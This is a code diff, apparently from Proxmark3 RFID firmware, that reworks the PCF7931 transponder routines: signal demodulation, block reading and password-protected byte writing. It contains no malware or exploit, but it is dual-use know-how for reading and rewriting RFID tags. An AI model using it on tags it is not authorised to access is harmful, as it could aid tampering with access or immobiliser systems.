int nonce16_distance(uint16_t x, uint16_t y);
int nonce16_index(uint16_t nt);
uint32_t rewind_nonce(uint32_t from, uint16_t dist);
#endif

View file

@ -28,105 +28,151 @@
#define T0_PCF 8 //period for the pcf7931 in us
#define ALLOC 16
size_t DemodPCF7931(uint8_t **outBlocks, bool ledcontrol) {
// IIR filter consts
#define IIR_CONST1 0.1f
#define IIR_CONST2 0.9f
// 2021 iceman, memor
// used to decimate samples. this allows DoAcquisition to sample for a longer duration.
// Decimation of 4 makes sure that all blocks can be sampled at once!
#define DECIMATION 4
#define CLOCK (64/DECIMATION) // this actually is 64, but since samples are decimated by 2, CLOCK is also /2
#define TOLERANCE (CLOCK / 8)
#define _16T0 (CLOCK/4)
#define _32T0 (CLOCK/2)
#define _64T0 (CLOCK)
// calculating the two possible pmc lengths, based on the clock. -4 at the end is to make sure not to increment too far
#define PMC_16T0_LEN ((128 + 127 + 16 + 32 + 33 + 16) * CLOCK/64);
#define PMC_32T0_LEN ((128 + 127 + 16 + 32 + 33 ) * CLOCK/64);
// theshold for recognition of positive/negative slope
#define THRESHOLD 80
size_t DemodPCF7931(uint8_t **outBlocks, bool ledcontrol) {
uint8_t bits[256] = {0x00};
uint8_t blocks[8][16];
uint8_t *dest = BigBuf_get_addr();
uint16_t g_GraphTraceLen = BigBuf_max_traceLen();
// limit g_GraphTraceLen to a little more than 2 data frames.
// To make sure a complete dataframe is in the dataset.
// 1 Frame is 16 Byte -> 128byte. at a T0 of 64 -> 8129 Samples per frame.
// + PMC -> 384T0 --> 8576 samples required for one block
// to make sure that one complete block is definitely being sampled, we need 2 times that
// which is ~17.xxx samples. round up. and clamp to this value.
int g_GraphTraceLen = BigBuf_max_traceLen();
if (g_GraphTraceLen > 18000) {
g_GraphTraceLen = 18000;
}
int i = 2, j, lastval, bitidx, half_switch;
int clock = 64;
int tolerance = clock / 8;
int pmc, block_done;
int lc, warnings = 0;
size_t num_blocks = 0;
int lmin = 64, lmax = 192;
uint8_t dir;
// TODO: Doublecheck why this is being limited? - seems not to be needed.
// g_GraphTraceLen = (g_GraphTraceLen > 18000) ? 18000 : g_GraphTraceLen;
BigBuf_Clear_keep_EM();
LFSetupFPGAForADC(LF_DIVISOR_125, true);
DoAcquisition_default(0, true, ledcontrol);
DoAcquisition(DECIMATION, 8, 0, 0, false, 0, 0, 0, ledcontrol);
/* Find first local max/min */
if (dest[1] > dest[0]) {
while (i < g_GraphTraceLen) {
if (!(dest[i] > dest[i - 1]) && dest[i] > lmax) {
break;
}
i++;
}
dir = 0;
} else {
while (i < g_GraphTraceLen) {
if (!(dest[i] < dest[i - 1]) && dest[i] < lmin) {
break;
}
i++;
}
dir = 1;
}
uint8_t j;
uint8_t half_switch;
uint8_t bitPos;
uint32_t sample; // to keep track of the current sample that is being analyzed
uint32_t samplePosLastEdge;
uint32_t samplePosCurrentEdge;
uint8_t lastClockDuration; // used to store the duration of the last "clock", for decoding. clock may not be the correct term, maybe bit is better. The duration between two edges is meant
uint8_t beforeLastClockDuration; // store the clock duration of the cycle before the last Clock duration. Basically clockduration -2
uint8_t block_done;
size_t num_blocks = 0;
EdgeType expectedNextEdge = FALLING; // direction in which the next edge is expected should go.
lastval = i++;
half_switch = 0;
pmc = 0;
samplePosLastEdge = 0;
block_done = 0;
bitPos = 0;
lastClockDuration = 0;
for (bitidx = 0; i < g_GraphTraceLen; i++) {
for (sample = 1 ; sample < g_GraphTraceLen - 4; sample++) {
// condition is searching for the next edge, in the expected diretion.
//todo: without flouz
dest[sample] = (uint8_t)(dest[sample - 1] * IIR_CONST1 + dest[sample] * IIR_CONST2); // apply IIR filter
if ((dest[i - 1] > dest[i] && dir == 1 && dest[i] > lmax) || (dest[i - 1] < dest[i] && dir == 0 && dest[i] < lmin)) {
lc = i - lastval;
lastval = i;
if (((dest[sample] + THRESHOLD) < dest[sample - 1] && expectedNextEdge == FALLING) ||
((dest[sample] - THRESHOLD) > dest[sample - 1] && expectedNextEdge == RISING)) {
//okay, next falling/rising edge found
// Switch depending on lc length:
// Tolerance is 1/8 of clock rate (arbitrary)
if (ABS(lc - clock / 4) < tolerance) {
// 16T0
if ((i - pmc) == lc) { // 16T0 was previous one
expectedNextEdge = (expectedNextEdge == FALLING) ? RISING : FALLING; //toggle the next expected edge
samplePosCurrentEdge = sample;
beforeLastClockDuration = lastClockDuration; // save the previous clock duration for PMC recognition
lastClockDuration = samplePosCurrentEdge - samplePosLastEdge;
samplePosLastEdge = sample;
// Dbprintf("%d, %d, edge found, len: %d, nextEdge: %d", sample, dest[sample], lastClockDuration*DECIMATION, expectedNextEdge);
// Switch depending on lastClockDuration length:
// 16T0
if (ABS(lastClockDuration - _16T0) < TOLERANCE) {
// if the clock before also was 16T0, it is a PMC!
if (ABS(beforeLastClockDuration - _16T0) < TOLERANCE) {
// It's a PMC
i += (128 + 127 + 16 + 32 + 33 + 16) - 1;
lastval = i;
pmc = 0;
Dbprintf(_GREEN_("PMC 16T0 FOUND:") " bitPos: %d, sample: %d", bitPos, sample);
sample += PMC_16T0_LEN; // move to the sample after PMC
expectedNextEdge = FALLING;
samplePosLastEdge = sample;
block_done = 1;
} else {
pmc = i;
}
} else if (ABS(lc - clock / 2) < tolerance) {
// 32TO
if ((i - pmc) == lc) { // 16T0 was previous one
} else if (ABS(lastClockDuration - _32T0) < TOLERANCE) {
// if the clock before also was 16T0, it is a PMC!
if (ABS(beforeLastClockDuration - _16T0) < TOLERANCE) {
// It's a PMC !
i += (128 + 127 + 16 + 32 + 33) - 1;
lastval = i;
pmc = 0;
Dbprintf(_GREEN_("PMC 32T0 FOUND:") " bitPos: %d, sample: %d", bitPos, sample);
sample += PMC_32T0_LEN; // move to the sample after PMC
expectedNextEdge = FALLING;
samplePosLastEdge = sample;
block_done = 1;
// if no pmc, then its a normal bit.
// Check if its the second time, the edge changed if yes, then the bit is 0
} else if (half_switch == 1) {
bits[bitidx++] = 0;
bits[bitPos] = 0;
// reset the edge counter to 0
half_switch = 0;
bitPos++;
// if it is the first time the edge changed. No bit value will be set here, bit if the
// edge changes again, it will be. see case above.
} else
half_switch++;
} else if (ABS(lc - clock) < tolerance) {
// 64TO
bits[bitidx++] = 1;
} else {
// 64T0
} else if (ABS(lastClockDuration - _64T0) < TOLERANCE) {
// this means, bit here is 1
bits[bitPos] = 1;
bitPos++;
// Error
if (++warnings > 10) {
} else {
// some Error. maybe check tolerances.
// likeley to happen in the first block.
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("Error: too many detection errors, aborting");
}
// In an Ideal world, this can be enabled. However, if only bad antenna field, this print will flood the output
// and one might miss some "good" frames.
//Dbprintf(_RED_("ERROR in demodulation") " Length last clock: %d - check threshold/tolerance/signal. Toss block", lastClockDuration*DECIMATION);
return 0;
}
// Toss this block.
block_done = 1;
}
if (block_done == 1) {
if (bitidx == 128) {
// Dbprintf(_YELLOW_("Block Done") " bitPos: %d, sample: %d", bitPos, sample);
// check if it is a complete block. If bitpos <128, it means that we did not receive
// a complete block. E.g. at the first start of a transmission.
// only save if a complete block is being received.
if (bitPos == 128) {
for (j = 0; j < 16; ++j) {
blocks[num_blocks][j] =
128 * bits[j * 8 + 7] +
@ -141,24 +187,25 @@ size_t DemodPCF7931(uint8_t **outBlocks, bool ledcontrol) {
}
num_blocks++;
}
bitidx = 0;
// now start over for the next block / first complete block.
bitPos = 0;
block_done = 0;
half_switch = 0;
}
if (i < g_GraphTraceLen) {
dir = (dest[i - 1] > dest[i]) ? 0 : 1;
}
} else {
// Dbprintf("%d, %d", sample, dest[sample]);
}
if (bitidx == 255) {
bitidx = 0;
// one block only holds 16byte (=128 bit) and then comes the PMC. so if more bit are found than 129, there must be an issue and PMC has not been identfied...
// TODO: not sure what to do in such case...
if (bitPos >= 129) {
Dbprintf(_RED_("PMC should have been found...") " bitPos: %d, sample: %d", bitPos, sample);
bitPos = 0;
}
if (num_blocks == 4) {
break;
}
}
memcpy(outBlocks, blocks, 16 * num_blocks);
return num_blocks;
}
@ -204,25 +251,32 @@ bool IsBlock1PCF7931(const uint8_t *block) {
}
void ReadPCF7931(bool ledcontrol) {
uint8_t maxBlocks = 8; // readable blocks
int found_blocks = 0; // successfully read blocks
int max_blocks = 8; // readable blocks
uint8_t memory_blocks[8][17]; // PCF content
uint8_t single_blocks[8][17]; // PFC blocks with unknown position
// TODO: Why 17 byte len? 16 should be good.
uint8_t memory_blocks[maxBlocks][17]; // PCF content
uint8_t single_blocks[maxBlocks][17]; // PFC blocks with unknown position
uint8_t tmp_blocks[4][16]; // temporary read buffer
int single_blocks_cnt = 0;
size_t n; // transmitted blocks
uint8_t tmp_blocks[4][16]; // temporary read buffer
uint8_t found_0_1 = 0; // flag: blocks 0 and 1 were found
//uint8_t found_0_1 = 0; // flag: blocks 0 and 1 were found
int errors = 0; // error counter
int tries = 0; // tries counter
// reuse lenghts and consts to properly clear
memset(memory_blocks, 0, 8 * 17 * sizeof(uint8_t));
memset(single_blocks, 0, 8 * 17 * sizeof(uint8_t));
int i = 0, j = 0;
int i = 0;
//j = 0;
do {
Dbprintf("ReadPCF7931() -- Reading Loop ==========");
i = 0;
memset(tmp_blocks, 0, 4 * 16 * sizeof(uint8_t));
@ -232,15 +286,13 @@ void ReadPCF7931(bool ledcontrol) {
// exit if no block is received
if (errors >= 10 && found_blocks == 0 && single_blocks_cnt == 0) {
if (g_dbglevel >= DBG_INFO)
Dbprintf("[!!] Error, no tag or bad tag");
Dbprintf("[!!] Error, no tag or bad tag");
return;
}
// exit if too many errors during reading
if (tries > 50 && (2 * errors > tries)) {
// exit if too many tries without finding the first block
if (tries > 10) {
Dbprintf("End after 10 tries");
if (g_dbglevel >= DBG_INFO) {
Dbprintf("[!!] Error reading the tag, only partial content");
}
@ -248,93 +300,98 @@ void ReadPCF7931(bool ledcontrol) {
goto end;
}
// our logic breaks if we don't get at least two blocks
if (n < 2) {
// skip if all 0s block or no blocks
if (n == 0 || !memcmp(tmp_blocks[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16))
continue;
// This part was not working properly.
// So currently the blocks are not being sorted, but at least printed.
// add block to single blocks list
if (single_blocks_cnt < max_blocks) {
for (i = 0; i < single_blocks_cnt; ++i) {
if (!memcmp(single_blocks[i], tmp_blocks[0], 16)) {
j = 1;
break;
}
}
if (j != 1) {
memcpy(single_blocks[single_blocks_cnt], tmp_blocks[0], 16);
print_result("got single block", single_blocks[single_blocks_cnt], 16);
single_blocks_cnt++;
}
j = 0;
}
++tries;
continue;
}
// // our logic breaks if we don't get at least two blocks
// if (n < 2) {
// // skip if all 0s block or no blocks
// if (n == 0 || !memcmp(tmp_blocks[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16))
// continue;
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("(dbg) got %d blocks (%d/%d found) (%d tries, %d errors)", n, found_blocks, (max_blocks == 0 ? found_blocks : max_blocks), tries, errors);
// // add block to single blocks list
// if (single_blocks_cnt < maxBlocks) {
// for (i = 0; i < single_blocks_cnt; ++i) {
// if (!memcmp(single_blocks[i], tmp_blocks[0], 16)) {
// j = 1;
// break;
// }
// }
// if (j != 1) {
// memcpy(single_blocks[single_blocks_cnt], tmp_blocks[0], 16);
// print_result("got single block", single_blocks[single_blocks_cnt], 16);
// single_blocks_cnt++;
// }
// j = 0;
// }
// ++tries;
// continue;
// }
// Dbprintf("(dbg) got %d blocks (%d/%d found) (%d tries, %d errors)", n, found_blocks, (maxBlocks == 0 ? found_blocks : maxBlocks), tries, errors);
// if (g_dbglevel >= DBG_EXTENDED)
// Dbprintf("(dbg) got %d blocks (%d/%d found) (%d tries, %d errors)", n, found_blocks, (maxBlocks == 0 ? found_blocks : maxBlocks), tries, errors);
// print blocks that have been found
for (i = 0; i < n; ++i) {
print_result("got consecutive blocks", tmp_blocks[i], 16);
print_result("Block found: ", tmp_blocks[i], 16);
}
i = 0;
if (!found_0_1) {
while (i < n - 1) {
if (IsBlock0PCF7931(tmp_blocks[i]) && IsBlock1PCF7931(tmp_blocks[i + 1])) {
found_0_1 = 1;
memcpy(memory_blocks[0], tmp_blocks[i], 16);
memcpy(memory_blocks[1], tmp_blocks[i + 1], 16);
memory_blocks[0][ALLOC] = memory_blocks[1][ALLOC] = 1;
// block 1 tells how many blocks are going to be sent
max_blocks = MAX((memory_blocks[1][14] & 0x7f), memory_blocks[1][15]) + 1;
found_blocks = 2;
// i = 0;
// if (!found_0_1) {
// while (i < n - 1) {
// if (IsBlock0PCF7931(tmp_blocks[i]) && IsBlock1PCF7931(tmp_blocks[i + 1])) {
// found_0_1 = 1;
// memcpy(memory_blocks[0], tmp_blocks[i], 16);
// memcpy(memory_blocks[1], tmp_blocks[i + 1], 16);
// memory_blocks[0][ALLOC] = memory_blocks[1][ALLOC] = 1;
// // block 1 tells how many blocks are going to be sent
// maxBlocks = MAX((memory_blocks[1][14] & 0x7f), memory_blocks[1][15]) + 1;
// found_blocks = 2;
Dbprintf("Found blocks 0 and 1. PCF is transmitting %d blocks.", max_blocks);
// Dbprintf("Found blocks 0 and 1. PCF is transmitting %d blocks.", maxBlocks);
// handle the following blocks
for (j = i + 2; j < n; ++j) {
memcpy(memory_blocks[found_blocks], tmp_blocks[j], 16);
memory_blocks[found_blocks][ALLOC] = 1;
++found_blocks;
}
break;
}
++i;
}
} else {
// Trying to re-order blocks
// Look for identical block in memory blocks
while (i < n - 1) {
// skip all zeroes blocks
if (memcmp(tmp_blocks[i], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) {
for (j = 1; j < max_blocks - 1; ++j) {
if (!memcmp(tmp_blocks[i], memory_blocks[j], 16) && !memory_blocks[j + 1][ALLOC]) {
memcpy(memory_blocks[j + 1], tmp_blocks[i + 1], 16);
memory_blocks[j + 1][ALLOC] = 1;
if (++found_blocks >= max_blocks) goto end;
}
}
}
if (memcmp(tmp_blocks[i + 1], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) {
for (j = 0; j < max_blocks; ++j) {
if (!memcmp(tmp_blocks[i + 1], memory_blocks[j], 16) && !memory_blocks[(j == 0 ? max_blocks : j) - 1][ALLOC]) {
if (j == 0) {
memcpy(memory_blocks[max_blocks - 1], tmp_blocks[i], 16);
memory_blocks[max_blocks - 1][ALLOC] = 1;
} else {
memcpy(memory_blocks[j - 1], tmp_blocks[i], 16);
memory_blocks[j - 1][ALLOC] = 1;
}
if (++found_blocks >= max_blocks) goto end;
}
}
}
++i;
}
}
// // handle the following blocks
// for (j = i + 2; j < n; ++j) {
// memcpy(memory_blocks[found_blocks], tmp_blocks[j], 16);
// memory_blocks[found_blocks][ALLOC] = 1;
// ++found_blocks;
// }
// break;
// }
// ++i;
// }
// } else {
// // Trying to re-order blocks
// // Look for identical block in memory blocks
// while (i < n - 1) {
// // skip all zeroes blocks
// if (memcmp(tmp_blocks[i], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) {
// for (j = 1; j < maxBlocks - 1; ++j) {
// if (!memcmp(tmp_blocks[i], memory_blocks[j], 16) && !memory_blocks[j + 1][ALLOC]) {
// memcpy(memory_blocks[j + 1], tmp_blocks[i + 1], 16);
// memory_blocks[j + 1][ALLOC] = 1;
// if (++found_blocks >= maxBlocks) goto end;
// }
// }
// }
// if (memcmp(tmp_blocks[i + 1], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) {
// for (j = 0; j < maxBlocks; ++j) {
// if (!memcmp(tmp_blocks[i + 1], memory_blocks[j], 16) && !memory_blocks[(j == 0 ? maxBlocks : j) - 1][ALLOC]) {
// if (j == 0) {
// memcpy(memory_blocks[maxBlocks - 1], tmp_blocks[i], 16);
// memory_blocks[maxBlocks - 1][ALLOC] = 1;
// } else {
// memcpy(memory_blocks[j - 1], tmp_blocks[i], 16);
// memory_blocks[j - 1][ALLOC] = 1;
// }
// if (++found_blocks >= maxBlocks) goto end;
// }
// }
// }
// ++i;
// }
// }
++tries;
if (BUTTON_PRESS()) {
if (g_dbglevel >= DBG_EXTENDED)
@ -342,62 +399,79 @@ void ReadPCF7931(bool ledcontrol) {
goto end;
}
} while (found_blocks < max_blocks);
} while (found_blocks < maxBlocks);
end:
Dbprintf("-----------------------------------------");
Dbprintf("Memory content:");
Dbprintf("-----------------------------------------");
for (i = 0; i < max_blocks; ++i) {
if (memory_blocks[i][ALLOC])
print_result("Block", memory_blocks[i], 16);
else
Dbprintf("<missing block %d>", i);
}
Dbprintf("-----------------------------------------");
/*
Dbprintf("-----------------------------------------");
Dbprintf("Memory content:");
Dbprintf("-----------------------------------------");
for (i = 0; i < maxBlocks; ++i) {
if (memory_blocks[i][ALLOC])
print_result("Block", memory_blocks[i], 16);
else
Dbprintf("<missing block %d>", i);
}
Dbprintf("-----------------------------------------");
if (found_blocks < max_blocks) {
Dbprintf("-----------------------------------------");
Dbprintf("Blocks with unknown position:");
Dbprintf("-----------------------------------------");
for (i = 0; i < single_blocks_cnt; ++i)
print_result("Block", single_blocks[i], 16);
if (found_blocks < maxBlocks) {
Dbprintf("-----------------------------------------");
Dbprintf("Blocks with unknown position:");
Dbprintf("-----------------------------------------");
for (i = 0; i < single_blocks_cnt; ++i)
print_result("Block", single_blocks[i], 16);
Dbprintf("-----------------------------------------");
}
*/
Dbprintf("-----------------------------------------");
}
reply_mix(CMD_ACK, 0, 0, 0, 0, 0);
}
static void RealWritePCF7931(uint8_t *pass, uint16_t init_delay, int32_t l, int32_t p, uint8_t address, uint8_t byte, uint8_t data, bool ledcontrol) {
static void RealWritePCF7931(
uint8_t *pass,
uint16_t init_delay,
int8_t offsetPulseWidth, int8_t offsetPulsePosition,
uint8_t address, uint8_t byte, uint8_t data,
bool ledcontrol) {
uint32_t tab[1024] = {0}; // data times frame
uint32_t u = 0;
uint8_t parity = 0;
bool comp = 0;
//BUILD OF THE DATA FRAME
//alimentation of the tag (time for initializing)
// ToDo: This could be optimized/automated. e.g. Read one cycle, find PMC and calculate time.
// I dont understand, why 8192/2
AddPatternPCF7931(init_delay, 0, 8192 / 2 * T0_PCF, tab);
// why "... + 70"? Why not "... + x * T0"?
// I think he just added 70 to be somewhere in The PMC window, which is 32T0 (=32*8 = 256)
// 3*T0 = PMC width
// 29*T0 = rest of PMC window (total 32T0 = 3+29)
// after the PMC, it directly goes to the password indication bit.
AddPatternPCF7931(8192 / 2 * T0_PCF + 319 * T0_PCF + 70, 3 * T0_PCF, 29 * T0_PCF, tab);
//password indication bit
AddBitPCF7931(1, tab, l, p);
AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition);
//password (on 56 bits)
AddBytePCF7931(pass[0], tab, l, p);
AddBytePCF7931(pass[1], tab, l, p);
AddBytePCF7931(pass[2], tab, l, p);
AddBytePCF7931(pass[3], tab, l, p);
AddBytePCF7931(pass[4], tab, l, p);
AddBytePCF7931(pass[5], tab, l, p);
AddBytePCF7931(pass[6], tab, l, p);
//programming mode (0 or 1)
AddBitPCF7931(0, tab, l, p);
AddBytePCF7931(pass[0], tab, offsetPulseWidth, offsetPulsePosition);
AddBytePCF7931(pass[1], tab, offsetPulseWidth, offsetPulsePosition);
AddBytePCF7931(pass[2], tab, offsetPulseWidth, offsetPulsePosition);
AddBytePCF7931(pass[3], tab, offsetPulseWidth, offsetPulsePosition);
AddBytePCF7931(pass[4], tab, offsetPulseWidth, offsetPulsePosition);
AddBytePCF7931(pass[5], tab, offsetPulseWidth, offsetPulsePosition);
AddBytePCF7931(pass[6], tab, offsetPulseWidth, offsetPulsePosition);
//programming mode (0 or 1) -> 0 = byte wise; 1 = block wise programming
AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition);
//block address on 6 bits
for (u = 0; u < 6; ++u) {
if (address & (1 << u)) { // bit 1
++parity;
AddBitPCF7931(1, tab, l, p);
AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition);
} else { // bit 0
AddBitPCF7931(0, tab, l, p);
AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition);
}
}
@ -405,56 +479,48 @@ static void RealWritePCF7931(uint8_t *pass, uint16_t init_delay, int32_t l, int3
for (u = 0; u < 4; ++u) {
if (byte & (1 << u)) { // bit 1
parity++;
AddBitPCF7931(1, tab, l, p);
AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition);
} else // bit 0
AddBitPCF7931(0, tab, l, p);
AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition);
}
//data on 8 bits
for (u = 0; u < 8; u++) {
if (data & (1 << u)) { // bit 1
parity++;
AddBitPCF7931(1, tab, l, p);
AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition);
} else //bit 0
AddBitPCF7931(0, tab, l, p);
AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition);
}
//parity bit
if ((parity % 2) == 0)
AddBitPCF7931(0, tab, l, p); //even parity
AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition); //even parity
else
AddBitPCF7931(1, tab, l, p);//odd parity
AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition);//odd parity
//time access memory
AddPatternPCF7931(5120 + 2680, 0, 0, tab);
//conversion of the scale time
for (u = 0; u < 500; ++u)
tab[u] = (tab[u] * 3) / 2;
//compensation of the counter reload
while (!comp) {
comp = 1;
for (u = 0; tab[u] != 0; ++u)
if (tab[u] > 0xFFFF) {
tab[u] -= 0xFFFF;
comp = 0;
}
}
// time access memory (640T0)
// Not sure why 335*T0, but should not matter. Since programming should be finished at that point
AddPatternPCF7931((640 + 335)* T0_PCF, 0, 0, tab);
SendCmdPCF7931(tab, ledcontrol);
}
/* Write on a byte of a PCF7931 tag
* @param address : address of the block to write
@param byte : address of the byte to write
@param data : data to write
* @param byte : address of the byte to write
* @param data : data to write
*/
void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, uint8_t pass5, uint8_t pass6, uint8_t pass7, uint16_t init_delay, int32_t l, int32_t p, uint8_t address, uint8_t byte, uint8_t data, bool ledcontrol) {
void WritePCF7931(
uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, uint8_t pass5, uint8_t pass6, uint8_t pass7,
uint16_t init_delay,
int8_t offsetPulseWidth, int8_t offsetPulsePosition,
uint8_t address, uint8_t byte, uint8_t data,
bool ledcontrol) {
if (g_dbglevel >= DBG_INFO) {
Dbprintf("Initialization delay : %d us", init_delay);
Dbprintf("Offsets : %d us on the low pulses width, %d us on the low pulses positions", l, p);
Dbprintf("Offsets : %d us on the low pulses width, %d us on the low pulses positions", offsetPulseWidth, offsetPulsePosition);
}
Dbprintf("Password (LSB first on each byte): %02x %02x %02x %02x %02x %02x %02x", pass1, pass2, pass3, pass4, pass5, pass6, pass7);
@ -464,15 +530,15 @@ void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, ui
uint8_t password[7] = {pass1, pass2, pass3, pass4, pass5, pass6, pass7};
RealWritePCF7931(password, init_delay, l, p, address, byte, data, ledcontrol);
RealWritePCF7931(password, init_delay, offsetPulseWidth, offsetPulsePosition, address, byte, data, ledcontrol);
}
/* Send a trame to a PCF7931 tags
/* Send a frame to a PCF7931 tags
* @param tab : array of the data frame
*/
void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol) {
void SendCmdPCF7931(uint32_t *tab, bool ledcontrol) {
uint16_t u = 0, tempo = 0;
if (g_dbglevel >= DBG_INFO) {
@ -485,6 +551,20 @@ void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol) {
if (ledcontrol) LED_A_ON();
// rescale the values to match the time of the timer below.
for (u = 0; u < 500; ++u) {
tab[u] = (tab[u] * 3) / 2;
}
// compensation for the counter overflow
// only one overflow should be possible.
for (u = 0; tab[u] != 0; ++u)
if (tab[u] > 0xFFFF) {
tab[u] -= 0xFFFF;
break;
}
// steal this pin from the SSP and use it to control the modulation
AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT;
AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT;
@ -493,7 +573,7 @@ void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol) {
AT91C_BASE_PMC->PMC_PCER |= (0x1 << AT91C_ID_TC0);
AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_NONE | AT91C_TCB_TC1XC1S_TIOA0 | AT91C_TCB_TC2XC2S_NONE;
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // timer disable
AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; // clock at 48/32 MHz
AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; // clock at 48/32 MHz (48Mhz clock, 32 = prescaler (div3))
AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN;
// Assert a sync signal. This sets all timers to 0 on next active clock edge
@ -503,19 +583,19 @@ void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol) {
for (u = 0; tab[u] != 0; u += 3) {
// modulate antenna
HIGH(GPIO_SSC_DOUT);
while (tempo != tab[u]) {
while ((uint32_t)tempo < tab[u]) {
tempo = AT91C_BASE_TC0->TC_CV;
}
// stop modulating antenna
LOW(GPIO_SSC_DOUT);
while (tempo != tab[u + 1]) {
while ((uint32_t)tempo < tab[u + 1]) {
tempo = AT91C_BASE_TC0->TC_CV;
}
// modulate antenna
HIGH(GPIO_SSC_DOUT);
while (tempo != tab[u + 2]) {
while ((uint32_t)tempo < tab[u + 2]) {
tempo = AT91C_BASE_TC0->TC_CV;
}
}
@ -528,32 +608,36 @@ void SendCmdPCF7931(const uint32_t *tab, bool ledcontrol) {
}
/* Add a byte for building the data frame of PCF7931 tags
/* Add a byte for building the data frame of PCF7931 tags.
* See Datasheet of PCF7931 diagramm on page 8. This explains pulse widht & positioning
* Normally, no offset should be required.
* @param b : byte to add
* @param tab : array of the data frame
* @param l : offset on low pulse width
* @param p : offset on low pulse positioning
* @param offsetPulseWidth : offset on low pulse width in µs (default pulse widht is 6T0)
* @param offsetPulsePosition : offset on low pulse positioning in µs
*/
bool AddBytePCF7931(uint8_t byte, uint32_t *tab, int32_t l, int32_t p) {
bool AddBytePCF7931(uint8_t byte, uint32_t *tab, int8_t offsetPulseWidth, int8_t offsetPulsePosition) {
uint32_t u;
for (u = 0; u < 8; ++u) {
if (byte & (1 << u)) { //bit is 1
if (AddBitPCF7931(1, tab, l, p) == 1) return true;
AddBitPCF7931(1, tab, offsetPulseWidth, offsetPulsePosition);
} else { //bit is 0
if (AddBitPCF7931(0, tab, l, p) == 1) return true;
AddBitPCF7931(0, tab, offsetPulseWidth, offsetPulsePosition);
}
}
return false;
}
/* Add a bits for building the data frame of PCF7931 tags
/* Add a bits for building the data frame of PCF7931 tags.
* See Datasheet of PCF7931 diagramm on page 8. This explains pulse widht & positioning
* Normally, no offset should be required.
* @param b : bit to add
* @param tab : array of the data frame
* @param l : offset on low pulse width
* @param p : offset on low pulse positioning
* @param offsetPulseWidth : offset on low pulse width in µs (default pulse widht is 6T0)
* @param offsetPulsePosition : offset on low pulse positioning in µs
*/
bool AddBitPCF7931(bool b, uint32_t *tab, int32_t l, int32_t p) {
bool AddBitPCF7931(bool b, uint32_t *tab, int8_t offsetPulseWidth, int8_t offsetPulsePosition) {
uint8_t u = 0;
//we put the cursor at the last value of the array
@ -561,23 +645,22 @@ bool AddBitPCF7931(bool b, uint32_t *tab, int32_t l, int32_t p) {
if (b == 1) { //add a bit 1
if (u == 0)
tab[u] = 34 * T0_PCF + p;
tab[u] = 34 * T0_PCF + offsetPulsePosition;
else
tab[u] = 34 * T0_PCF + tab[u - 1] + p;
tab[u] = 34 * T0_PCF + tab[u - 1] + offsetPulsePosition;
tab[u + 1] = 6 * T0_PCF + tab[u] + offsetPulseWidth;
tab[u + 2] = 88 * T0_PCF + tab[u + 1] - offsetPulseWidth - offsetPulsePosition;
tab[u + 1] = 6 * T0_PCF + tab[u] + l;
tab[u + 2] = 88 * T0_PCF + tab[u + 1] - l - p;
return false;
} else { //add a bit 0
if (u == 0)
tab[u] = 98 * T0_PCF + p;
tab[u] = 98 * T0_PCF + offsetPulsePosition;
else
tab[u] = 98 * T0_PCF + tab[u - 1] + p;
tab[u] = 98 * T0_PCF + tab[u - 1] + offsetPulsePosition;
tab[u + 1] = 6 * T0_PCF + tab[u] + offsetPulseWidth;
tab[u + 2] = 24 * T0_PCF + tab[u + 1] - offsetPulseWidth - offsetPulsePosition;
tab[u + 1] = 6 * T0_PCF + tab[u] + l;
tab[u + 2] = 24 * T0_PCF + tab[u + 1] - l - p;
return false;
}
return true;
}
@ -592,8 +675,8 @@ bool AddPatternPCF7931(uint32_t a, uint32_t b, uint32_t c, uint32_t *tab) {
uint32_t u = 0;
for (u = 0; tab[u] != 0; u += 3) {} //we put the cursor at the last value of the array
tab[u] = (u == 0) ? a : a + tab[u - 1];
tab[u + 1] = b + tab[u];
tab[u] = (u == 0) ? a : a + tab[u - 1]; // if it is the first value of the array, nothing needs to be added.
tab[u + 1] = b + tab[u]; // otherwise always add up the values, because later on it is compared to a counter
tab[u + 2] = c + tab[u + 1];
return true;

View file

@ -18,14 +18,20 @@
#include "common.h"
typedef enum {
FALLING,
RISING
} EdgeType;
size_t DemodPCF7931(uint8_t **outBlocks, bool ledcontrol);
bool IsBlock0PCF7931(uint8_t *block);
bool IsBlock1PCF7931(const uint8_t *block);
void ReadPCF7931(bool ledcontrol);
